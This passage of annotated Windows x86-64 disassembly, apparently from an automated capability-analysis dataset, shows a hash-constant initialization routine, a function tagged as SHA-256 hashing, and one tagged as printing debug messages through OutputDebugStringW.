mov dword [rcx + rax], 0x98badcfe
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax], 0x10325476
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax], 0xc3d2e1f0
pop rdi
ret
Function at 0x1401c6eb5
Capabilities:
Hash data using sha256

Disassembly:
jmp 0x14036dda0
mov qword [rsp + 8], rcx
push rsi
push rdi
lea rax, [0x1405b7650]
mov rdi, qword [rsp + 0x18]
mov rsi, rax
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
pop rdi
pop rsi
ret
Function at 0x1401c856c
Capabilities:
Print debug messages

Disassembly:
jmp 0x1404e38f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret